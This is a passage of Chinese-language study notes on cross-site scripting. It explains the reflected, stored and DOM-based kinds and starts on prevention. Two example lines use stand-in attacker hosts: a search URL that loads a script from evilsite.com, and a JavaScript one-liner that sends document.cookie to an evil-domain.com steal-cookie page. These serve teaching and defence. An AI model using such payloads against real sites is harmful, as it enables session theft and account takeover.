[TOC]

思维导图

安全 - 图1

XSS

Cross-site scripting 跨网站脚本攻击

通过修改 HTML 节点或者执行 JS 代码来攻击网站。

Xss 攻击可以分为三类: 存储(也称为持久性)、反射(也称为非持久性)或基于 dom。

XSS是代碼注入的一种,它允许恶意使用者将程式码注入到网页上,其他使用者在观看网页时就会受到影响
还有。

反射型 XSS 攻击

当传递给服务器的用户数据被立即返回并在浏览器中原样显示的时候 — 当新页面载入的时候原始用户数据中的任何脚本都会被执行

举个例子,假如有个站点搜索函数,搜索项被当作URL参数进行编码,这些搜索项将随搜索结果一同显示。攻击者可以通过构造一个包含恶意脚本的搜索链接作为参数(例如 http://mysite.com?q=beerscript%20src="http://evilsite.com/tricky.js" ),然后把链接发送给另一个用户。如果目标用户点击了这个链接,当显示搜索结果时这个脚本就会被执行。正如上述讨论的,这促使攻击者获取了所有需要以目标用户进入站点的信息 — 可能会购买物品或分享联系人信息。

上传用户的cookie

利用获取 cookie 的方式,将 cookie 传入入侵者的服务器上,入侵者就可以模拟 cookie 登录网站,对用户的信息进行篡改

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

持久{存储}型 XSS 攻击

恶意脚本存储在站点中,然后再原样地返回给其他用户,在用户不知情的情况下执行

怎么预防

防范 XSS 攻击的最好方式就是删除或禁用任何可能包含可运行代码指令的标记。对 HTML 来说,这些包括类似